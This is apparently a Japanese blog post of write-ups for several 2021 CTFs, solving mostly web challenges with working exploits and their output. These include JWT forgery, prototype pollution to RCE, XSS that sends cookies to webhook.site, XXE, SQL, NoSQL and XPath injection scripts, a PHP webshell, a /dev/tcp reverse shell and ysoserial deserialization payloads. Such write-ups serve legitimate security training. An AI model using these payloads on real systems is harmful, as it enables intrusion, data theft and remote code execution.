ffmpegを使って安易に動画のサムネイルを作成しようとすると、細工した動画ファイルが来たときにローカルのファイルを読み出せてしまうというやつ。neex/ffmpeg-avi-m3u-xbinを使って python ffmpeg-avi-m3u-xbin/gen_xbin_avi.py file:///var/www/html/uploads/flag.txt exp.avi で生成された動画をアップロードするとフラグが得られる。

Union CTF 2021 writeup

2/20 - 2/22という日程で開催された。zer0ptsで参加して7位。

[Web] Cr0wnAir

jpv というライブラリによってJSONの構造がチェックされているが、package-lock.json を見ると2.0.1と、CVE-2019-19507という脆弱性のある古いバージョンを使っていることがわかる。

const pattern = {
  firstName: /^\w{1,30}$/,
  lastName: /^\w{1,30}$/,
  passport: /^[0-9]{9}$/,
  ffp: /^(|CA[0-9]{8})$/,
  extras: [
    {sssr: /^(BULK|UMNR|VGML)$/},
  ],
};
  if (jpv.validate(data, pattern, { debug: true, mode: "strict" })) {

以下のような感じでバイパスできる。

$ node
...
> jpv.validate(JSON.parse('{"firstName":"a","lastName":"b","passport":"123456789","ffp":"CA00000000","extras":[{"sssr":"FQTU"}]}'), pattern, {debug: true, mode: "strict"})
The value of ["FQTU"] does not match with [{}]
false
> jpv.validate(JSON.parse('{"firstName":"a","lastName":"b","passport":"123456789","ffp":"CA00000000","extras":{"constructor":{"name":"Array"},"a":{"sssr":"FQTU"}}}'), pattern, {debug: true, mode: "strict"})
true
$ curl 'http://34.105.202.19:3000/checkin' -H 'Content-Type: application/json' --data-raw '{"firstName":"a","lastName":"b","passport":"123456789","ffp":"CA00000000","extras":{"constructor":{"name":"Array"},"a":{"sssr":"FQTU"}}}'
{"msg":"You have successfully checked in. Thank you for being a Cr0wnAir frequent flyer. Your loyalty has been rewarded and you have been marked for an upgrade, please visit the upgrades portal.","token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJicm9uemUiLCJmZnAiOiJDQTAwMDAwMDAwIn0.NTEv7Fylr6mPFrC2Qf-YNAbq9uFS173dFvYIJuH4N_cmA8OwfDbS-_xu4h0pc3Nzob-BaqN6L06O2dtRYAu33l6KLKngp_benw8O8dQE-2ItcsXW9N5pfxmuDhid3eZwy4XStJy7kqiXHIIRaafLJJNhlQfpft3VGqqc-h7Xtkjet_HbtRBZIHN3ObqtVbAi0NqQRTaL_OM4m0l_uhF8NqFSjW9s4zz1mGXz5pjgjAu42NUk6bKoBvbNVFJ2Or_79cGYAmpFUumn3X5E69-oVN7SFxPFnjzEoOa8UHaJ3txCAEYrXvhld1YWpL7DSOIY3Yu3q8hvQ5de3ZgnOCC8Qg"}

JWTの改ざんについては、aventadorさんにAbusing JWT public keys without the public key – Silent Signal Techblogという記事を教えてもらって署名に使われているRS256の公開鍵を抽出し、それをHS256の秘密鍵として署名することでできた。

$ curl -X POST 'http://34.105.202.19:3000/upgrades/flag' -H "Authorization: a eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwic3RhdHVzIjoiZ29sZCIsImlhdCI6MTUxNjIzOTAyMn0.i4zsMzI1Hxc23vkL2PQRh-zECB
49iWPqDoRUowGEneY"
{"msg":"union{I_<3_JS0N_4nD_th1ngs_wr4pp3d_in_JS0N}"}

VolgaCTF 2021 Qualifier writeup

3/27 - 3/28という日程で開催された。zer0ptsで参加して22位。Rating weightは13.01と不評だったけれども、Web問は面白かったと思う。

[Web] JWT

JWTをデコードすると jku やら jti やらがヘッダに付いていることがわかる。jkuhttps://webhook.site/cc73f1e5-1fc3-455d-8ae0-715573a3ea2d に変えるとwebhook.site側にはHTTPリクエストが飛んできて、Webサーバ側では次のようなエラーが発生する。

JWT processing failed. Additional details: [[17] Unable to process JOSE object (cause: org.jose4j.lang.UnresolvableKeyException: Unable to find a suitable verification key for JWS w/ header {"kid":"HS256","alg":"HS256"} due to an unexpected exception (org.jose4j.lang.JoseException: Parsing error: org.jose4j.json.internal.json_simple.parser.ParseException: Unexpected token END OF FILE at position 0.) while obtaining or using keys from JWKS endpoint at https://webhook.site/cc73f1e5-1fc3-455d-8ae0-715573a3ea2d): JsonWebSignature{"kid":"HS256","alg":"HS256"}->eyJraWQiOiJIUzI1NiIsImFsZyI6IkhTMjU2In0.eyJqa3UiOiJodHRwczovL3dlYmhvb2suc2l0ZS9jYzczZjFlNS0xZmMzLTQ1NWQtOGFlMC03MTU1NzNhM2VhMmQiLCJleHAiOjE2MTc1MDgyODMsImp0aSI6ImFfYmNkZlFPVWZtenZRUVhzLWxwdFEiLCJpYXQiOjE2MTY5MDM0ODMsIm5iZiI6MTYxNjkwMzM2Mywic3ViIjoicG95b3lvbiJ9.v4cYdzJyE2L9fb5V5nMFzZd1HkSojbn8ZvxKLSh4qho]

以下のようなJSONを返すURLに jku を変更してやると、AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA という秘密鍵で署名したJWTが正当なものと判定されるようになる。subadmin に書き換えるとフラグが得られる。

<?php
header('Content-Type: application/json');
?>
{
    "kty": "oct",
    "alg": "HS256",
    "kid": "HS256",
    "use": "sig",
    "k": "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUE="
}

[Web] Online Wallet (Part 1)

インターネットバンキング的なWebアプリケーションを攻撃して、なんとかして(最初に100与えられる)残高を150を超えるまで増やせという問題。

app.post('/withdraw', async (req, res) => {
  if(!req.session.userid || !req.body.wallet || (typeof(req.body.wallet) != "string"))
    return res.json({success: false})

  const db = await pool.awaitGetConnection()
  try {
    result = await db.awaitQuery("SELECT `balance` FROM `wallets` WHERE `id` = ? AND `user_id` = ?", [req.body.wallet, req.session.userid])
    /* only developers can have a negative balance */
    if((result[0].balance > 150) || (result[0].balance < 0))
      res.json({success: true, money: FLAG})
    else
      res.json({success: false})
  } catch {
    res.json({success: false})
  } finally {
    db.release()
  }
})

レースコンディション。

$ f() {
curl 'https://wallet.volgactf-task.ru/transfer' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: connect.sid=s%3AFusLA5u4NccDMYYxFWsIdBy7Aq-clHsW.gmXTnVSX8Df2kfNr%2BpwZAAAHK5KrDyX4EWUyQBq5YJM' \
  --data-raw '{"from_wallet":"0xc6ef35006a8841e3ea688dd9d8abfde4","to_wallet":"0x09cdd4b602c1135df82a14bcf7d2608a","amount":50}';
}
$ g() {
curl 'https://wallet.volgactf-task.ru/transfer' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: connect.sid=s%3AFusLA5u4NccDMYYxFWsIdBy7Aq-clHsW.gmXTnVSX8Df2kfNr%2BpwZAAAHK5KrDyX4EWUyQBq5YJM' \
  --data-raw '{"to_wallet":"0xc6ef35006a8841e3ea688dd9d8abfde4","from_wallet":"0x09cdd4b602c1135df82a14bcf7d2608a","amount":50}';
}
$ f&g&f&g&f&g&f&f&

[Web] Online Wallet (Part 2)

?lang=/../deparamjquery-deparamを読み込ませることができるが、これはPrototype Pollutionができるバージョンが使われている。?lang=/../deparam&a[0][]=1&a[0][__proto__][__proto__][b]=1Object.prototype.b = 1 相当のことができる。

jQueryのgadgetを使ってJavaScriptコードを実行できるかと思いきや、それだけでは発火しない。幸いにも id="depositButton" という属性を持っているボタンにホバーするとtooltipが表示されるようになっているので、以下のように iframe で開いた後にURLに #depositButton を追加してやればOK。

<iframe id="iframe" src='https://wallet.volgactf-task.ru/wallet?lang=/../deparam&a[0][]=1&a[0][__proto__][o][1]=%27%3E%22%3E%3Cb%3Eas&error&a[0][__proto__][__proto__][div][0]=1&a[0][__proto__][__proto__][div][1]=%3Cimg/src/onerror%3d"navigator.sendBeacon(`https://webhook.site/...?1,${document.cookie},2`)"&a[0][__proto__][__proto__][div][2]=1&error' width="800" height="600">
</iframe>
<script>
navigator.sendBeacon(`https://webhook.site/...?test`);
const i = document.getElementById('iframe');
i.onload = () => {
  setTimeout(() => {
    i.src += '#depositButton';
  }, 500);
  navigator.sendBeacon(`https://webhook.site/...?${btoa(i.src)}`);
  i.onload = () => {};
};
</script>

[Web] Static Site

nginxの設定は以下のような感じ。/static/%20HTTP/1.1%0d%0aHost:%20example.com%0d%0a%0d%0a でCRLF Injection(とかHTTP Response Splittingとか呼ぶやつ)ができる

server {
    listen 443 ssl;
    resolver 8.8.8.8;
    server_name static-site.volgactf-task.ru;

    ssl_certificate      /etc/letsencrypt/live/volgactf-task.ru/fullchain1.pem;
    ssl_certificate_key  /etc/letsencrypt/live/volgactf-task.ru/privkey1.pem;

    add_header Content-Security-Policy "default-src 'self'; object-src 'none'; frame-src https://www.google.com/recaptcha/; font-src https://fonts.gstatic.com/; style-src 'self' https://fonts.googleapis.com/; script-src 'self' https://www.google.com/recaptcha/api.js https://www.gstatic.com/recaptcha/" always;
   
    location / {
      root /var/www/html;
    }

    location /static/ {
      proxy_pass https://volga-static-site.s3.amazonaws.com$uri;
    }
}

volga-static-site というS3バケットのリージョンは以下のような手順で特定できる。

$ curl -i s3.amazonaws.com -H "Host: volga-static-site"
HTTP/1.1 200 OK
x-amz-id-2: hIwiy1NTk84Yw0NfevKpu5gC4oE9XDKNtxpwG7O0X0sBGLgZBiTtpYEUubwo/Qn07hFnXztQUMU=
x-amz-request-id: NKKTW8G91RTVVZPG
Date: Wed, 16 Jun 2021 16:50:21 GMT
x-amz-bucket-region: us-east-1
Content-Type: application/xml
Transfer-Encoding: chunked
Server: AmazonS3

...

同じ us-east-1 でS3バケットを作り、以下のような内容の index.htmllocation.href=['…',document.cookie] という内容の exp.jsstatic/ にアップロードする。外部からアクセスできるように設定を変更した上で https://static-site.volgactf-task.ru/static/index.html%20HTTP/1.1%0d%0aHost:%20(バケット名).s3.amazonaws.com%0d%0a%0d%0a というURLを報告するとフラグが得られる。

<script src="/static/exp.js%20HTTP/1.1%0d%0aHost:%20(バケット名).s3.amazonaws.com%0d%0a%0d%0a"></script>

[Web] Unicorn Networks

我々は手探りで脆弱性を見つけたけれども、CVE-2021-21315という脆弱性だったらしい。SSRF + OSコマンドインジェクション。

$ curl -s -k -g -X $'GET' -H $'Host: 192.46.237.106:3000' $'http://192.46.237.106:3000/api/getUrl?url=http://.../redirect.php?redir=http://localhost/api/admin/service_info?name%5b%5d=%2524(curl%252bhttps://webhook.site/...%252b-d%252b%2560cat%252b%252a%2560)'

ångstromCTF 2021 writeup

4/3 - 4/8という日程で開催された。zer0ptsで参加して3位。

[Misc] CaaSio SE

Dynamic Importsを使ってvm.runInNewContext をエスケープできるテクが知られている。

$ nc misc.2021.chall.actf.co 21705
Welcome to CaaSio Snake Edition! Enter your calculation:
[a='(async()=>{try{await import("")}catch(e){e[c]',b='p=process;p.stdout.write(p.mainModule.require',c='constructo'+'r']&&{[(a+='[c](b)()}})()')]:123,[b+='("fs").readFileSync("./flag.txt"))']:123,[a[c][c](a)()]:123}
Result:
{
  '(async()=>{try{await import("")}catch(e){e[c][c](b)()}})()': 123,
  'p=process;p.stdout.write(p.mainModule.require("fs").readFileSync("./flag.txt"))': 123,
  undefined: 123
}
Variables:
a = (async()=>{try{await import("")}catch(e){e[c][c](b)()}})()
b = p=process;p.stdout.write(p.mainModule.require("fs").readFileSync("./flag.txt"))
c = constructor
actf{maybe_eval_is_just_a_bad_idea}
gg
splitline

[Web] nomnomnom

FirefoxはDangling Markup Injectionの防御機構をまだ実装していない

    fetch('/record', {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json'
      },
      body: JSON.stringify({
        name: '<script src="//example.com/a.js" ',
        score: 100
      })
    }).then(res => {
      if (res.redirected) {
        window.location.href = res.url;
      } else {
        res.text().then(text => {
          console.log(`reporting score failed with: ${text}`)
        })
      }      
    });

[Web] Reaction.py

component nameが freq であればXSS。ただし、各文字は一度ずつしか使えない。ありがとうIDN。

(async () => {
  const newcomp = async body => {
    return fetch("/newcomp", {
      "headers": {
        "content-type": "application/x-www-form-urlencoded",
      },
      "body": `name=freq&cfg=${encodeURIComponent(body)}`,
      "method": "POST",
      "credentials": "include",
      "redirect": "manual"
    });
  };
  await fetch("/reset", {
    "method": "POST",
    "credentials": "include",
    "redirect": "manual"
  });
  await newcomp('<SCRIPT src=/\\example。com?>');
  await newcomp('`;</SCRIPT>');
})();

[Web] Sea of Quills

SQLiteでSQLi、ただし以下のような制約がある:

    blacklist = ["-", "/", ";", "'", "\""]
    
    blacklist.each { |word|
        if cols.include? word
            return "beep boop sqli detected!"
        end
    }

    
    if !/^[0-9]+$/.match?(lim) || !/^[0-9]+$/.match?(off)
        return "bad, no quills for you!"
    end

UNION句で flagtable のレコードを抜き出す分にはこれらの文字は必要ない。

$ curl https://seaofquills.2021.chall.actf.co/quills -d 'cols=flag+from+flagtable+union+select+1&limit=100&offset=0'
                        <ul class="list pl0">

                                        <img src="1" class="w3 h3">
                                <li class="pb5 pl3"> <ul><li></li></ul></li><br />

                                        <img src="actf{and_i_was_doing_fine_but_as_you_came_in_i_watch_my_regex_rewrite_f53d98be5199ab7ff81668df}" class="w3 h3">
                                <li class="pb5 pl3"> <ul><li></li></ul></li><br />

                        </ul>

[Web] Sea of Quills 2

再びSQLiteでSQLi、制約が厳しくなった:

    blacklist = ["-", "/", ";", "'", "\"", "flag"]
    if cols.length > 24 || !/^[0-9]+$/.match?(lim) || !/^[0-9]+$/.match?(off)
        return "bad, no quills for you!"
    end

^$ ではなく \A\z を使おうSQLite[keyword] が使えるというネタと組み合わせてなんとかする。

$ curl https://seaofquills-two.2021.chall.actf.co/quills -d 'cols=1[&limit=100&offset=0%0a],flag+from+flagtable'
...
                        <ul class="list pl0">

                                        <img src="1" class="w3 h3">
                                <li class="pb5 pl3">actf{the_time_we_have_spent_together_riding_through_this_english_denylist_c0776ee734497ca81cbd55ea} <ul><li></li></ul></li><br />

                        </ul>
...

[Web] Spoofy

以下のような検証用のWebサーバをHerokuで立てる。

# -*- coding: utf-8 -*-
import json
from flask import Flask, request

app = Flask(__name__)

@app.route('/')
def index():
    return 'hello, world'

@app.route('/headers')
def headers():
    return json.dumps(dict(request.headers))

if __name__ == '__main__':
    app.run()

以下のように X-Forwarded-Forx_forwarded_for というヘッダを与えると謎の挙動をする。

$ curl "https://lit-hollows-18252.herokuapp.com/headers" -H "X-Forwarded-For: 127.0.0.1" -H "x_forwarded_for: , abc"
{"Host": "lit-hollows-18252.herokuapp.com", "Connection": "close", "User-Agent": "curl/7.68.0", "Accept": "*/*", "X-Forwarded-For": "127.0.0.1, (アクセス元のIPアドレス), abc", "X-Request-Id": "c5b7bd4c-1482-47ff-a19e-1ca313ba9cf0", "X-Forwarded-Proto": "https", "X-Forwarded-Port": "443", "Via": "1.1 vegur", "Connect-Time": "1", "X-Request-Start": "1617539987247", "Total-Route-Time": "0"}

なので:

$ curl "https://actf-spoofy.herokuapp.com/" -H "X-Forwarded-For: 1.3.3.7" -H "x_forwarded_for: , 1.3.3.7"
Hello 1337 haxx0r, here's the flag! actf{spoofing_is_quite_spiffy}

Cyber Apocalypse 2021 writeup

4/19 - 4/24という日程で開催された。zer0ptsで参加して12位。

[Web] Alien Complaint Form

次のような厳しく見えるCSPが適用されている。script-src ディレクティブは明示的に指定されていないので 'self' (同一オリジン)になる。

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; object-src 'none'; base-uri 'none'; style-src 'self' https://fonts.googleapis.com; font-src 'self' https://fonts.gstatic.com">

JSONP(これzer0pts CTF 2021のSimple Blogのコードじゃない? ありがとう)を使う。

const jsonp = (url, callback) => {
    const s = document.createElement('script');

    if (callback) {
        s.src = `${url}?callback=${callback}`;
    } else {
        s.src = url;
    }

    document.body.appendChild(s);
};
<meta http-equiv="refresh" content="0;URL='/list?callback=location=[`https://webhook.site/...?`,document.cookie];//'">

[Web] Artillery

ジャバ + XXE。GoSecure/dtd-finderを使おう。

import requests

payload = '''
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE root [
    <!ENTITY % local_dtd SYSTEM "jar:file:///tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd">

    <!ENTITY % URI '(aa) #IMPLIED>
        <!ENTITY &#x25; file SYSTEM "file:///tomcat/webapps/ROOT/WEB-INF/classes/Flag.java">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///abcxyz/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
        <!ATTLIST attxx aa "bb"'>

    %local_dtd;
]>
<root><query>%local_dtd;</query></root>
'''.strip()

r = requests.post('http://188.166.172.13:30432/search', headers={
  'Content-Type': 'application/xml'
}, data=payload)
print(r.text)

[Web] BlitzProp

flat というライブラリのバージョンが5.0.0に固定されているが、コミットログを見るとこのバージョンにはPrototype Pollutionがあるとわかる。Pugのgadgetと組み合わせてRCE。

$ curl 'http://178.62.30.167:32243/api/submit'   -H 'Content-Type: application/json'   --data-raw '{"song.name":"Not Polluting with the boys","__proto__.block":{"type":"Text","line":"pug.rethrow(process.mainModule.require(`child_process`).execSync(`cat /app/flag*`).toString(),2,3)"}}'
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>CHTB{p0llute_with_styl3}</pre>
</body>
</html>

[Web] Bug Report

XSShttp://127.0.0.1:1337/<script>location=["https://webhook.site/...?",document.cookie]</script>Cookieからフラグが得られる。

[Web] CAAS

SSRF。COPY /flag から curl file:///flag でローカルファイルを読めばよいとわかる。

[Web] Cessation

Apache Traffic ServerのHTTP Smuggling Attackecho -en "GET /shutdown HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Length : 56\r\n\r\nGET /shutdown HTTP/1.1\r\nHost: 127.0.0.1\r\nattack: 1\r\nfoo:\r\n\r\n" | nc 138.68.152.10 32647 を2回実行するとフラグが出た。

[Web] DaaS

Laravel 8.35.1 + デバッグモードが有効なのでCVE-2021-3129が刺さる。

$ php -d'phar.readonly=0' phpggc/phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system "cat /flag*"
$ ./laravel-ignition-rce.py http://178.62.14.240:32373/ /tmp/exploit.phar
+ Log file: /www/storage/logs/laravel.log
+ Logs cleared
+ Successfully converted to PHAR !
+ Phar deserialized
--------------------------
HTB{wh3n_7h3_d3bu663r_7urn5_4641n57_7h3_d3bu6633}
--------------------------
+ Logs cleared

[Web] Emoji Voting

SQLiteのORDER BY以降でのSQLi芸問。Harekaze CTF 2019のSQLite Votingで使ったテクでError-basedに1ビットずつ情報が得られる。

import json
import requests

def query(payload):
  r = requests.post('http://138.68.147.232:31939/api/list', headers={
    'Content-Type': 'application/json'
  }, data=json.dumps({
    'order': payload
  }))
  return 'wrong' in r.text

i = 1
res = ''
while True:
  c = 0
  for j in range(7):
    if query(f'abs(-9223372036854775807 - case when unicode(substr(sqlite_version(), {i}, 1)) & {1 << j} then 1 else 0 end)'):
      c |= 1 << j
  res += chr(c)
  print(i, res)

[Web] E.Tree

XPath Injection。

import requests
import json
import string

def query(payload):
  r = requests.post('http://165.227.228.41:32765/api/search', headers={
    'Content-Type': 'application/json'
  }, data=json.dumps({
    'search': payload
  }))
  return 'member exists' in r.text

table = string.printable.strip().replace("'", '')
res = ''
i = 0
while True:
  for c in table:
    r = query("'] or starts-with(/military/district[2]/staff[3]/selfDestructCode,'" + res + c + "') or /*[a='")
    #r = query("'] or starts-with(/military/district[3]/staff[2]/selfDestructCode,'" + res + c + "') or /*[a='") # => part2
    if r:
      res += c
      break
  print(i, res)
  i += 1

[Web] Extortion

LFI問、セッションファイルを include させる。<?php eval($_GET[0]); ?> でwebshellを用意してから /?f=../../../../tmp/sess_fb2b511d037d7ada7c66d73ea4e29fdb&0=passthru(%27cat%20flag*%27); でフラグが得られる。

[Web] Inspector Gadget

CSSとかJSとか色々なファイルにフラグが散らばってるやつ。

[Web] Millenium

ジャバ + Insecure DeserializationはRCEチャンス。rO0ABXQAE3snd29ybSc6J2Rlbl96dWtvJ30= とかの文字列をBase64デコードすると ac ed 00 05 から始まっているあたりから推測できる。java -jar ysoserial-master-30099844c6-1.jar CommonsCollections4 "bash -c {curl,...:8000}|{bash,-i}" | base64 | tr -d "\n" + bash -c "bash -i >& /dev/tcp/…/8001 0>&1" でリバースシェルが張れる。

[Web] miniSTRypalace

str_replace再帰的に文字列を置換しないので curl "http://46.101.23.157:31385/?lang=..././..././..././..././flag" でPath Traversalできる。

    <?php
    $lang = ['en.php', 'qw.php'];
        include('pages/' . (isset($_GET['lang']) ? str_replace('../', '', $_GET['lang']) : $lang[array_rand($lang)]));
    ?>

[Web] pcalc

S4CTF 2021のjunior-phpと同じ手順でなんとかなる。

nanimokangaeteinai.hateblo.jp

[Web] Starfleet

NunjucksでSSTI。

{{ range.constructor('process.mainModule.require("child_process").execSync("/readflag | curl https://webhook.site/... -d @-")')() }}

[Web] Wild Goose Hunt

NoSQL Injection(MongoDB)。

import requests

table = ['\\{', '\\}'] + list('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_')
known = 'CHTB'
while True:
  for c in table:
    r = requests.post('http://138.68.143.0:32306/api/login', data={
     'username': 'admin',
     'password[$regex]': known + c + '.*'
    })
    if 'Successful' in r.text:
      known += c
      print(known)
      break